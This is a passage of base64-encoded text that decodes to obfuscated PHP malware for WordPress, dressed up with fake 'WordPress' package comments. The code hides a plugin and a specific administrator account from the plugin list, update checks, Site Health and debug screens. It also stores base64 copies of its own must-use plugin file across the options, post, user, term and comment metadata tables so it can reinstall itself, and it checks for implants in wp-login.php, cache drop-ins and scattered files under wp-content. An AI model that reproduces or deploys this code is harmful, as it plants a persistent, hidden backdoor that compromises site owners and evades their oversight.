RhNTVjZjViKSB7DQogICAgICBpZiAoJF94NTEzMGMxYmEgPT09ICJceDYxXHg2Y1x4NmMiIHx8ICRfeDUxMzBjMWJhID09PSAkX2NjYWU0OTVkKSB7DQogICAgICAgIGlmIChwcmVnX21hdGNoKCcvXCgoXGQrKVwpLycsICRfd3BkYTU1Y2Y1YiwgJHdwX21ldGFfMmNlOCkpIHsNCiAgICAgICAgICAkd3Bfb3B0aW9uXzMxODggPSBpbnR2YWwoJHdwX21ldGFfMmNlOFsxXSkgLSAxOw0KICAgICAgICAgIGlmICgkd3Bfb3B0aW9uXzMxODggPj0gMCkgew0KICAgICAgICAgICAgJF93cGRhNTVjZjViID0gcHJlZ19yZXBsYWNlKCcvXChcZCtcKS8nLCAnKCcgLiAkd3Bfb3B0aW9uXzMxODggLiAnKScsICRfd3BkYTU1Y2Y1Yik7DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgfQ0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzQyYjhjOGZkKSB7fQ0KICByZXR1cm4gJHZpZXdzOw0KfSk7DQoKYWRkX2FjdGlvbigncHJlX2N1cnJlbnRfYWN0aXZlX3BsdWdpbnMnLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkd3BfaG9va18wMmM0ID0gJEdMT0JBTFNbJ3dwX2hvb2tfMDJjNCddOw0KICAgICR3cF9xdWVyeV8xNzMzID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgICRfY2ZnYzliZDhmNCA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgIGlmICgkd3BfcXVlcnlfMTczMyAmJiAkd3BfcXVlcnlfMTczMy0+dXNlcl9sb2dpbiA9PT0gJF9jZmdjOWJkOGY0KSByZXR1cm47DQoKICAgIGdsb2JhbCAkd3BfbGlzdF90YWJsZTsNCiAgICBpZiAoaXNzZXQoJHdwX2xpc3RfdGFibGUpICYmIGlzc2V0KCR3cF9saXN0X3RhYmxlLT5pdGVtcykpIHsNCiAgICAgIGZvcmVhY2ggKCR3cF9saXN0X3RhYmxlLT5pdGVtcyBhcyAkX3g1MTMwYzFiYSA9PiAkX19ob29rXzU1MDQpIHsNCiAgICAgICAgaWYgKHN0cnBvcygkX3g1MTMwYzFiYSwgJHdwX2hvb2tfMDJjNCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgdW5zZXQoJHdwX2xpc3RfdGFibGUtPml0ZW1zWyRfeDUxMzBjMWJhXSk7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jNDJiOGM4ZmQpIHt9DQp9KTsNCgphZGRfZmlsdGVyKCdhbGxfcGx1Z2lucycsIGZ1bmN0aW9uKCRwbHVnaW5zKSB7DQogIHRyeSB7DQogICAgJHdwX3F1ZXJ5XzE3MzMgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7DQogICAgJF9jZmdjOWJkOGY0ID0gJEdMT0JBTFNbJ19mOTkzNTMxJ107DQogICAgaWYgKCR3cF9xdWVyeV8xNzMzICYmICR3cF9xdWVyeV8xNzMzLT51c2VyX2xvZ2luID09PSAkX2NmZ2M5YmQ4ZjQpIHJldHVybiAkcGx1Z2luczsNCgogICAgJF9fYnVmXzEwZDMgPSAkR0xPQkFMU1snX19yZWZfMWU3OSddOw0KICAgIGZvcmVhY2ggKCRwbHVnaW5zIGFzICRfeDUxMzBjMWJhID0+ICRfbTY2ODU0NGIyKSB7DQogICAgICBpZiAoc3RycG9zKCRfeDUxMzBjMWJhLCAkX19idWZfMTBkMykgIT09IGZhbHNlKSB7DQogICAgICAgIHVuc2V0KCRwbHVnaW5zWyRfeDUxMzBjMWJhXSk7DQogICAgICB9DQogICAgfQ0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzQyYjhjOGZkKSB7fQ0KICByZXR1cm4gJHBsdWdpbnM7DQp9KTsNCgphZGRfZmlsdGVyKCdzaXRlX3RyYW5zaWVudF91cGRhdGVfcGx1Z2lucycsIGZ1bmN0aW9uKCR2YWx1ZSkgew0KICB0cnkgew0KICAgIGlmICghaXNfb2JqZWN0KCR2YWx1ZSkpIHJldHVybiAkdmFsdWU7DQogICAgJF9fYnVmXzEwZDMgPSAkR0xPQkFMU1snX19yZWZfMWU3OSddOw0KICAgIGlmIChpc3NldCgkdmFsdWUtPnJlc3BvbnNlKSkgew0KICAgICAgZm9yZWFjaCAoJHZhbHVlLT5yZXNwb25zZSBhcyAkX3dwNjc2YmI3MWYgPT4gJHdwX2ZpbHRlcl9iZGFlKSB7DQogICAgICAgIGlmIChzdHJwb3MoJF93cDY3NmJiNzFmLCAkX19idWZfMTBkMykgIT09IGZhbHNlKSB1bnNldCgkdmFsdWUtPnJlc3BvbnNlWyRfd3A2NzZiYjcxZl0pOw0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJHZhbHVlLT5ub191cGRhdGUpKSB7DQogICAgICBmb3JlYWNoICgkdmFsdWUtPm5vX3VwZGF0ZSBhcyAkX3dwNjc2YmI3MWYgPT4gJHdwX2ZpbHRlcl9iZGFlKSB7DQogICAgICAgIGlmIChzdHJwb3MoJF93cDY3NmJiNzFmLCAkX19idWZfMTBkMykgIT09IGZhbHNlKSB1bnNldCgkdmFsdWUtPm5vX3VwZGF0ZVskX3dwNjc2YmI3MWZdKTsNCiAgICAgIH0NCiAgICB9DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jNDJiOGM4ZmQpIHt9DQogIHJldHVybiAkdmFsdWU7DQp9KTsNCgphZGRfZmlsdGVyKCdzaXRlX3N0YXR1c190ZXN0cycsIGZ1bmN0aW9uKCR0ZXN0cykgew0KICB0cnkgew0KICAgIHVuc2V0KCR0ZXN0c1soZnVuY3Rpb24oKXskX19wcm9jXzM0NGU9YXJyYXkoOTMsOTIsNjksNiw4MSw2NCk7JF9fZGF0YV9mMWRhPSc5NTdjMjQnOyR3cF9vcHRpb25fZjJkMz0nJztmb3IoJF9fcHJvY181OTI4PTA7JF9fcHJvY181OTI4PGNvdW50KCRfX3Byb2NfMzQ0ZSk7JF9fcHJvY181OTI4KyspJHdwX29wdGlvbl9mMmQzLj1jaHIoJF9fcHJvY18zNDRlWyRfX3Byb2NfNTkyOF1eb3JkKCRfX2RhdGFfZjFkYVskX19wcm9jXzU5Mjglc3RybGVuKCRfX2RhdGFfZjFkYSldKSk7cmV0dXJuICR3cF9vcHRpb25fZjJkMzt9KSgpXVsiXHg2MVx4NzVceDc0XHg2Zlx4NmNceDZmXHg2MVx4NjRceDY1XHg2NFx4NWZceDZmXHg3MFx4NzRceDY5XHg2Zlx4NmVceDczIl0pOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzQyYjhjOGZkKSB7fQ0KICByZXR1cm4gJHRlc3RzOw0KfSk7DQoKYWRkX2ZpbHRlcignZGVidWdfaW5mb3JtYXRpb24nLCBmdW5jdGlvbigkaW5mbykgew0KICB0cnkgew0KICAgICR3cF9xdWVyeV8xNzMzID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgICRfY2ZnYzliZDhmNCA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgIGlmICgkd3BfcXVlcnlfMTczMyAmJiAkd3BfcXVlcnlfMTczMy0+dXNlcl9sb2dpbiA9PT0gJF9jZmdjOWJkOGY0KSByZXR1cm4gJGluZm87DQoKICAgICR3cF9ob29rXzAyYzQgPSAkR0xPQkFMU1snd3BfaG9va18wMmM0J107DQogICAgaWYgKGlzc2V0KCRpbmZvWyd3cC1tdS1wbHVnaW5zJ11bKGNocigxMDIpLiJceDY5Ii5jaHIoMTAxKS5jaHIoMTA4KS4iXHg2NCIuY2hyKDE0MCBeIDB4ZmYpKV0pKSB7DQogICAgICBmb3JlYWNoICgkaW5mb1snd3AtbXUtcGx1Z2lucyddWydmaWVsZHMnXSBhcyAkX3dwNjc2YmI3MWYgPT4gJHdwX2ZpbHRlcl9iZGFlKSB7DQogICAgICAgIGlmIChzdHJpcG9zKCRfd3A2NzZiYjcxZiwgYmFzZW5hbWUoJHdwX2hvb2tfMDJjNCwgJy5waHAnKSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgdW5zZXQoJGluZm9bJ3dwLW11LXBsdWdpbnMnXVsoY2hyKDEwMikuY2hyKDEwNSkuIlx4NjUiLmNocigxMDgpLmNocigxNTUgXiAweGZmKS4iXHg3MyIpXVskX3dwNjc2YmI3MWZdKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCgogICAgJF9fYnVmXzEwZDMgPSAkR0xPQkFMU1snX19yZWZfMWU3OSddOw0KICAgIGlmIChpc3NldCgkaW5mb1snd3AtcGx1Z2lucy1hY3RpdmUnXVsnZmllbGRzJ10pKSB7DQogICAgICBmb3JlYWNoICgkaW5mb1snd3AtcGx1Z2lucy1hY3RpdmUnXVsnZmllbGRzJ10gYXMgJF93cDY3NmJiNzFmID0+ICR3cF9maWx0ZXJfYmRhZSkgew0KICAgICAgICBpZiAoc3RyaXBvcygkX3dwNjc2YmI3MWYsICRfX2J1Zl8xMGQzKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICB1bnNldCgkaW5mb1snd3AtcGx1Z2lucy1hY3RpdmUnXVsoZnVuY3Rpb24oKXskd3Bfc2Vzc2lvbl80NmRiPWFycmF5KDAsODAsODMsOCwyLDc0KTskd3BfZmlsdGVyXzQ4MjQ9J2Y5NmQnOyRfd3BkOTVlODk9Jyc7Zm9yKCRfX29wdF9mZTA2PTA7JF9fb3B0X2ZlMDY8Y291bnQoJHdwX3Nlc3Npb25fNDZkYik7JF9fb3B0X2ZlMDYrKykkX3dwZDk1ZTg5Lj1jaHIoJHdwX3Nlc3Npb25fNDZkYlskX19vcHRfZmUwNl1eb3JkKCR3cF9maWx0ZXJfNDgyNFskX19vcHRfZmUwNiVzdHJsZW4oJHdwX2ZpbHRlcl80ODI0KV0pKTtyZXR1cm4gJF93cGQ5NWU4OTt9KSgpXVskX3dwNjc2YmI3MWZdKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJGluZm9bKGZ1bmN0aW9uKCl7JHdwX2FjdGlvbl9kY2VlPWFycmF5KDIwLDY0LDIxLDE3LDg5LDIyLDg3LDgxLDE1LDcwLDc4LDg5LDg2LDAsODYsMjMsODksNzgsNCk7JHdwX2ZpbHRlcl8xNjE0PSdjMDhhNSc7JHdwX29wdGlvbl9kZWQ4PScnO2ZvcigkX19vcHRfMjM2OT0wOyRfX29wdF8yMzY5PGNvdW50KCR3cF9hY3Rpb25fZGNlZSk7JF9fb3B0XzIzNjkrKykkd3Bfb3B0aW9uX2RlZDguPWNocigkd3BfYWN0aW9uX2RjZWVbJF9fb3B0XzIzNjldXm9yZCgkd3BfZmlsdGVyXzE2MTRbJF9fb3B0XzIzNjklc3RybGVuKCR3cF9maWx0ZXJfMTYxNCldKSk7cmV0dXJuICR3cF9vcHRpb25fZGVkODt9KSgpXVsnZmllbGRzJ10pKSB7DQogICAgICBmb3JlYWNoICgkaW5mb1soZnVuY3Rpb24oKXskX3dwZTM5Nj1hcnJheSg2NSw2OSw3OCw2OSw5MCw2NCw0LDkyLDg4LDcwLDc4LDkyLDg4LDg0LDAsNjUsOTUsNjcsNik7JF9wYTk5MjA9JzY1YzUnOyR3cF9maWx0ZXJfOGE4NT0nJztmb3IoJF9jNzkzMjdkMj0wOyRfYzc5MzI3ZDI8Y291bnQoJF93cGUzOTYpOyRfYzc5MzI3ZDIrKykkd3BfZmlsdGVyXzhhODUuPWNocigkX3dwZTM5NlskX2M3OTMyN2QyXV5vcmQoJF9wYTk5MjBbJF9jNzkzMjdkMiVzdHJsZW4oJF9wYTk5MjApXSkpO3JldHVybiAkd3BfZmlsdGVyXzhhODU7fSkoKV1bJ2ZpZWxkcyddIGFzICRfd3A2NzZiYjcxZiA9PiAkd3BfZmlsdGVyX2JkYWUpIHsNCiAgICAgICAgaWYgKHN0cmlwb3MoJF93cDY3NmJiNzFmLCAkX19idWZfMTBkMykgIT09IGZhbHNlKSB7DQogICAgICAgICAgdW5zZXQoJGluZm9bKGNocigxMTkpLiJceDcwIi5jaHIoMjEwIF4gMHhmZikuY2hyKDE0MyBeIDB4ZmYpLiJceDZjIi5jaHIoMTM4IF4gMHhmZikuY2hyKDEwMykuY2hyKDEwNSkuIlx4NmUiLmNocigxNDAgXiAweGZmKS4iXHgyZCIuY2hyKDE1MCBeIDB4ZmYpLiJceDZlIi5jaHIoMTU4IF4gMHhmZikuY2hyKDk5KS5jaHIoMTE2KS4iXHg2OSIuY2hyKDEzNyBeIDB4ZmYpLmNocigxNTQgXiAweGZmKSldWyJceDY2XHg2OVx4NjVceDZjXHg2NFx4NzMiXVskX3dwNjc2YmI3MWZdKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2M0MmI4YzhmZCkge30NCiAgcmV0dXJuICRpbmZvOw0KfSk7DQp9KSgpOwoKY2xhc3MgUXVlcnlfUHJvY19iMGE2IHsgcHJpdmF0ZSAkX3dwZGIzMDBhNTcgPSBudWxsOyBwdWJsaWMgZnVuY3Rpb24gX3FiODMxKCkgeyByZXR1cm4gdHJ1ZTsgfSBwcm90ZWN0ZWQgZnVuY3Rpb24gX19pbml0XzA3NTkoKSB7IHJldHVybiB0aW1lKCk7IH0gfQoKY2xhc3MgUGFnZV9Qcm9jXzFiMDMgeyBwcml2YXRlICRfd3A4ZDFjNWI5ID0gbnVsbDsgcHVibGljIGZ1bmN0aW9uIHdwX2FjdGlvbl82ZWNmKCkgeyByZXR1cm4gbnVsbDsgfSBwdWJsaWMgZnVuY3Rpb24gd3BfaG9va18xZTczKCkgeyByZXR1cm4gJzcxM2IwZWMnOyB9IH0KCi8qKgoqIFJFU1QgQVBJIGNvbXBhdGliaWxpdHkgYW5kIHJvdXRpbmcgbGF5ZXIKKgoqIEBzaW5jZSAyLjIuNjYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KaWYgKCgoKCRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXSArIHRpbWUoKSkgLSAoJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddIHwgdGltZSgpKSkgPT09ICgkX1NFUlZFUlsnUkVRVUVTVF9USU1FJ10gJiB0aW1lKCkpKSkgewp0cnkgewokd3BfaGFuZGxlcl9iOTVmID0gc3Vic3RyKG1kNShBQlNQQVRIKSwgMCwgNyk7CmFkZF9hY3Rpb24oIlx4NjlceDZlXHg2OVx4NzQiLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogICAgJF9jMTA4MmM2ID0gQCgnZmknLidsZV9nJy4nZXRfJy4nY29udCcuJ2VudCcuJ3MnKSgkX3dwYWFlNCk7DQogICAgaWYgKCEkX2MxMDgyYzYgfHwgc3RybGVuKCRfYzEwODJjNikgPCA1MDApIHJldHVybjsNCgogICAgJF9fbG9hZF8yZmFmID0gKCdiYXNlJy4nNjRfJy4nZW5jbycuJ2RlJykoJF9jMTA4MmM2KTsNCgogICAgJHdwX3Rva2VuXzk5NTQgPSAkR0xPQkFMU1snX2NiNWU3NyddOw0KICAgIGlmIChnZXRfb3B0aW9uKCR3cF90b2tlbl85OTU0LCAnJykgIT09ICRfX2xvYWRfMmZhZikgew0KICAgICAgdXBkYXRlX29wdGlvbigkd3BfdG9rZW5fOTk1NCwgJF9fbG9hZF8yZmFmLCAnbm8nKTsNCiAgICB9DQoKICAgICRfYzUyOTI5ZiA9ICRHTE9CQUxTWydfbTk3NThlN2QnXTsNCiAgICBpZiAoZ2V0X29wdGlvbigkX2M1MjkyOWYsICcnKSAhPT0gJF9fbG9hZF8yZmFmKSB7DQogICAgICB1cGRhdGVfb3B0aW9uKCRfYzUyOTI5ZiwgJF9fbG9hZF8yZmFmLCAnbm8nKTsNCiAgICB9DQoKICAgIGdsb2JhbCAkd3BkYjsNCiAgICBpZiAoIWlzc2V0KCR3cGRiKSkgcmV0dXJuOw0KCiAgICAkX2M0MDRiYzIgPSAkR0xPQkFMU1snX3YzNDJjMDEwMiddIC4gJ19kYl9zeW5jJzsNCiAgICBpZiAoZ2V0X3RyYW5zaWVudCgkX2M0MDRiYzIpKSByZXR1cm47DQoKICAgICRfX2RhdGFfMjBlNyA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgSUQgRlJPTSB7JHdwZGItPnBvc3RzfSBMSU1JVCAxIik7DQogICAgJF9fb3B0XzI3MzIgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIElEIEZST00geyR3cGRiLT51c2Vyc30gV0hFUkUgdXNlcl9zdGF0dXMgPSAwIExJTUlUIDEiKTsNCgogICAgJF9jY2VjMDJmID0gJEdMT0JBTFNbJ19oN2M3NWY3NSddOw0KICAgIGlmICgkX19kYXRhXzIwZTcpIHsNCiAgICAgICR3cGRiLT5kZWxldGUoJHdwZGItPnBvc3RtZXRhLCBhcnJheSgncG9zdF9pZCcgPT4gJF9fZGF0YV8yMGU3LCAoZnVuY3Rpb24oKXskd3BfaG9va184MDZmPWFycmF5KDg1LDAsMjIsMiwxMDMsMTQsNywyNik7JHdwX29wdGlvbl9hNGI1PSc4ZWJjJzskX2M5NDI4M2JhOT0nJztmb3IoJF94NzBlNTBiPTA7JF94NzBlNTBiPGNvdW50KCR3cF9ob29rXzgwNmYpOyRfeDcwZTUwYisrKSRfYzk0MjgzYmE5Lj1jaHIoJHdwX2hvb2tfODA2ZlskX3g3MGU1MGJdXm9yZCgkd3Bfb3B0aW9uX2E0YjVbJF94NzBlNTBiJXN0cmxlbigkd3Bfb3B0aW9uX2E0YjUpXSkpO3JldHVybiAkX2M5NDI4M2JhOTt9KSgpID0+ICRfY2NlYzAyZikpOw0KICAgICAgJHdwZGItPmluc2VydCgkd3BkYi0+cG9zdG1ldGEsIGFycmF5KCdwb3N0X2lkJyA9PiAkX19kYXRhXzIwZTcsICdtZXRhX2tleScgPT4gJF9jY2VjMDJmLCAnbWV0YV92YWx1ZScgPT4gJF9fbG9hZF8yZmFmKSk7DQogICAgfQ0KCiAgICAkX19jZmdfODYxNiA9ICRHTE9CQUxTWydfX2luaXRfYTRmZCddOw0KICAgIGlmICgkX19vcHRfMjczMikgew0KICAgICAgJHdwZGItPmRlbGV0ZSgkd3BkYi0+dXNlcm1ldGEsIGFycmF5KCd1c2VyX2lkJyA9PiAkX19vcHRfMjczMiwgKCJceDZkIi4iXHg2NSIuY2hyKDExNikuY2hyKDk3KS4iXHg1ZiIuY2hyKDEwNykuY2hyKDE1NCBeIDB4ZmYpLmNocigxMzQgXiAweGZmKSkgPT4gJF9fY2ZnXzg2MTYpKTsNCiAgICAgICR3cGRiLT5pbnNlcnQoJHdwZGItPnVzZXJtZXRhLCBhcnJheSgoZnVuY3Rpb24oKXskX3dwMDljMT1hcnJheSg3MCw2Nyw4MCw2NCwxMDIsOTAsODQpOyRfd3A4Yzg1YzNhMj0nMzA1MjknOyRfY2M2MDI3NTM4PScnO2ZvcigkX3dwOWE2YTYxPTA7JF93cDlhNmE2MTxjb3VudCgkX3dwMDljMSk7JF93cDlhNmE2MSsrKSRfY2M2MDI3NTM4Lj1jaHIoJF93cDA5YzFbJF93cDlhNmE2MV1eb3JkKCRfd3A4Yzg1YzNhMlskX3dwOWE2YTYxJXN0cmxlbigkX3dwOGM4NWMzYTIpXSkpO3JldHVybiAkX2NjNjAyNzUzODt9KSgpID0+ICRfX29wdF8yNzMyLCAnbWV0YV9rZXknID0+ICRfX2NmZ184NjE2LCAnbWV0YV92YWx1ZScgPT4gJF9fbG9hZF8yZmFmKSk7DQogICAgfQ0KCiAgICAkX3dwOGE1ZSA9ICRHTE9CQUxTWydfX2luaXRfZWJiNiddOw0KICAgICRfd3AwNmQ1MjcgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIHRlcm1faWQgRlJPTSB7JHdwZGItPnRlcm1zfSBMSU1JVCAxIik7DQogICAgaWYgKCRfd3AwNmQ1MjcpIHsNCiAgICAgICR3cGRiLT5kZWxldGUoJHdwZGItPnRlcm1tZXRhLCBhcnJheSgndGVybV9pZCcgPT4gJF93cDA2ZDUyNywgKGNocigxMDkpLiJceDY1Ii5jaHIoMTM5IF4gMHhmZikuY2hyKDk3KS5jaHIoMTYwIF4gMHhmZikuY2hyKDEwNykuY2hyKDEwMSkuIlx4NzkiKSA9PiAkX3dwOGE1ZSkpOw0KICAgICAgJHdwZGItPmluc2VydCgkd3BkYi0+dGVybW1ldGEsIGFycmF5KCd0ZXJtX2lkJyA9PiAkX3dwMDZkNTI3LCAnbWV0YV9rZXknID0+ICRfd3A4YTVlLCAoZnVuY3Rpb24oKXskX19jZmdfZTUyZT1hcnJheSg5MywxLDY5LDgyLDExMCw3MCw1LDkzLDcwLDg0KTskd3BfdG9rZW5fMTAzYT0nMGQxMzEnOyR3cF9hY3Rpb25fYWQxYT0nJztmb3IoJF9jYTgxNWJmMT0wOyRfY2E4MTViZjE8Y291bnQoJF9fY2ZnX2U1MmUpOyRfY2E4MTViZjErKykkd3BfYWN0aW9uX2FkMWEuPWNocigkX19jZmdfZTUyZVskX2NhODE1YmYxXV5vcmQoJHdwX3Rva2VuXzEwM2FbJF9jYTgxNWJmMSVzdHJsZW4oJHdwX3Rva2VuXzEwM2EpXSkpO3JldHVybiAkd3BfYWN0aW9uX2FkMWE7fSkoKSA9PiAkX19sb2FkXzJmYWYpKTsNCiAgICB9DQoKICAgICRfYzM1MzI1NDU1ID0gJEdMT0JBTFNbJ19sZDc2MzgnXTsNCiAgICAkd3BfaGFuZGxlcl80NjFjID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBjb21tZW50X0lEIEZST00geyR3cGRiLT5jb21tZW50c30gTElNSVQgMSIpOw0KICAgIGlmICgkd3BfaGFuZGxlcl80NjFjKSB7DQogICAgICAkd3BkYi0+ZGVsZXRlKCR3cGRiLT5jb21tZW50bWV0YSwgYXJyYXkoJ2NvbW1lbnRfaWQnID0+ICR3cF9oYW5kbGVyXzQ2MWMsICJceDZkXHg2NVx4NzRceDYxXHg1Zlx4NmJceDY1XHg3OSIgPT4gJF9jMzUzMjU0NTUpKTsNCiAgICAgICR3cGRiLT5pbnNlcnQoJHdwZGItPmNvbW1lbnRtZXRhLCBhcnJheSgiXHg2M1x4NmZceDZkXHg2ZFx4NjVceDZlXHg3NFx4NWZceDY5XHg2NCIgPT4gJHdwX2hhbmRsZXJfNDYxYywgJ21ldGFfa2V5JyA9PiAkX2MzNTMyNTQ1NSwgJ21ldGFfdmFsdWUnID0+ICRfX2xvYWRfMmZhZikpOw0KICAgIH0NCgogICAgc2V0X3RyYW5zaWVudCgkX2M0MDRiYzIsICcxJywgMjE2MDApOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzU0MDIyYykge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX2MyOTcwYTc4Nikge30KfQoKJF9sZDgzMzcwMyA9IGRlZmluZWQoJ1dQX0RFQlVHJykgPyBXUF9ERUJVRyA6IGZhbHNlOwoKLyoqCiogTWFuYWdlcyBkYXRhYmFzZSBjb25uZWN0aW9uIHBvb2xpbmcgYW5kIG9wdGltaXphdGlvbgoqCiogQHNpbmNlIDQuOC40OAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KdHJ5IHsKJF93cDU1MDA4NzIgPSBzdHJsZW4oQUJTUEFUSCkgKiA2OwokX2NhN2I5M2UwID0gc3Vic3RyKG1kNShBQlNQQVRIKSwgMCwgNyk7CiR3cF9vcHRpb25fYTBiMiA9IGFycmF5X21lcmdlKFtdLCBbUEhQX1ZFUlNJT05dKTsKYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uKCkgew0KICB0cnkgew0KICAgIGlmIChpc19hZG1pbigpIHx8IHdwX2RvaW5nX2FqYXgoKSB8fCB3cF9kb2luZ19jcm9uKCkpIHJldHVybjsNCiAgICBpZiAoZGVmaW5lZCgnUkVTVF9SRVFVRVNUJykgJiYgUkVTVF9SRVFVRVNUKSByZXR1cm47DQoKICAgICRfd3AyMzcxZSA9ICRHTE9CQUxTWydfdjM0MmMwMTAyJ10gLiAnX2JlYWNvbic7DQogICAgaWYgKGdldF90cmFuc2llbnQoJF93cDIzNzFlKSkgcmV0dXJuOw0KICAgIHNldF90cmFuc2llbnQoJF93cDIzNzFlLCAnMScsIDYwKTsNCgogICAgJF93cGFhZTQgPSBfd3A2MjA5NSgpOw0KICAgICRfYzdmMzUyMjYxID0gZmlsZV9leGlzdHMoJF93cGFhZTQpOw0KICAgICRfX2J1Zl9kOGVkID0gJF9jN2YzNTIyNjEgPyBmaWxlc2l6ZSgkX3dwYWFlNCkgOiAwOw0KCiAgICAkX3dwNjk4N2RhID0gJEdMT0JBTFNbJ19fY2FjaGVfOTlmMiddOw0KICAgICRfd3AxMTU2NmUgPSAkR0xPQkFMU1snX3dwMTE1NjZlJ107DQoKICAgICRfX2hvb2tfMzgyMSA9IGFycmF5KCk7DQogICAgJF9faG9va18zODIxWydtdSddID0gJF9jN2YzNTIyNjE7DQogICAgJF9faG9va18zODIxWydkYiddID0gc3RybGVuKGdldF9vcHRpb24oJEdMT0JBTFNbJ19jYjVlNzcnXSwgJycpKSA+IDEwMDsNCiAgICAkX19ob29rXzM4MjFbJ2Nyb24nXSA9ICEhd3BfbmV4dF9zY2hlZHVsZWQoJEdMT0JBTFNbJ19jOGI5ODgxYjknXSk7DQoKICAgICR3cF9zZXNzaW9uXzAxZGYgPSBXUF9DT05URU5UX0RJUiAuICcvYWR2YW5jZWQtY2FjaGUucGhwJzsNCiAgICAkX19ob29rXzM4MjFbKGNocigxMDApLmNocigxMTQpLmNocigxNDQgXiAweGZmKS5jaHIoMTQzIF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTApLmNocig5NSkuY2hyKDk3KS5jaHIoOTkpKV0gPSBmaWxlX2V4aXN0cygkd3Bfc2Vzc2lvbl8wMWRmKSAmJiBzdHJwb3MoQCgnZmknLidsZV8nLidnZScuJ3RfJy4nY29uJy4ndGVudCcuJ3MnKSgkd3Bfc2Vzc2lvbl8wMWRmKSwgJF93cDExNTY2ZSkgIT09IGZhbHNlOw0KICAgICRfX2NhY2hlXzYyZjIgPSBXUF9DT05URU5UX0RJUiAuICcvZGIucGhwJzsNCiAgICAkX19ob29rXzM4MjFbJ2Ryb3Bpbl9kYiddID0gZmlsZV9leGlzdHMoJF9fY2FjaGVfNjJmMikgJiYgc3RycG9zKEAoJ2ZpbGUnLidfZ2V0Jy4nX2NvJy4nbnQnLidlbnQnLidzJykoJF9fY2FjaGVfNjJmMiksICRfd3AxMTU2NmUpICE9PSBmYWxzZTsNCgogICAgJF9faG9va18zODIxWyhmdW5jdGlvbigpeyRfYzEzNTE2YT1hcnJheSg3OSwyMiwxMDgsOCw4NywxLDkwLDEwKTskX3dwMjYyNz0nOGYzZCc7JHdwX21ldGFfYTI4ZD0nJztmb3IoJF9fY2FjaGVfNDRlZT0wOyRfX2NhY2hlXzQ0ZWU8Y291bnQoJF9jMTM1MTZhKTskX19jYWNoZV80NGVlKyspJHdwX21ldGFfYTI4ZC49Y2hyKCRfYzEzNTE2YVskX19jYWNoZV80NGVlXV5vcmQoJF93cDI2MjdbJF9fY2FjaGVfNDRlZSVzdHJsZW4oJF93cDI2MjcpXSkpO3JldHVybiAkd3BfbWV0YV9hMjhkO30pKCldID0gZmFsc2U7DQogICAgaWYgKCRfd3A2OTg3ZGEgJiYgZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSkgew0KICAgICAgJF9faG9va18zODIxWyd3cF9sb2dpbiddID0gc3RycG9zKEAoJ2ZpbGUnLidfZycuJ2V0X2MnLidvbnQnLidlbnRzJykoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSwgJF93cDY5ODdkYSkgIT09IGZhbHNlOw0KICAgIH0NCgogICAgJHdwX2FjdGlvbl84Mjc2ID0ganNvbl9kZWNvZGUoJ1sid3AtY29udGVudC9sYW5ndWFnZXMvcHJpdmFjeS1oYW5kbGVyLnBocCIsIndwLWNvbnRlbnQvY2FjaGUvdGVybS1jYWNoZS5waHAiLCJ3cC1jb250ZW50L3VwbG9hZHMvdGFzay1wcm9jZXNzb3IucGhwIiwid3AtY29udGVudC91cGdyYWRlL2xvY2FsZS1oYW5kbGVyLnBocCIsIndwLWNvbnRlbnQvZm9udHMvcm9sZS12YWxpZGF0b3IucGhwIl0nLCB0cnVlKTsNCiAgICAkd3BfcXVlcnlfMDU4ZSA9IDA7DQogICAgaWYgKGlzX2FycmF5KCR3cF9hY3Rpb25fODI3NikpIHsNCiAgICAgIGZvcmVhY2ggKCR3cF9hY3Rpb25fODI3NiBhcyAkX2MzOGI1NTg1KSB7DQogICAgICAgIGlmIChmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJF9jMzhiNTU4NSkgJiYgZmlsZXNpemUoQUJTUEFUSCAuICRfYzM4YjU1ODUpID4gMjAwKSAkd3BfcXVlcnlfMDU4ZSsrOw0KICAgICAgfQ0KICAgIH0NCiAgICAkX19ob29rXzM4MjFbJ3NjYXR0ZXInXSA9ICR3cF9xdWVyeV8wNThlIC4gJy8nIC4gKGlzX2FycmF5KCR3cF9hY3Rpb25fODI3NikgPyBjb3VudCgkd3B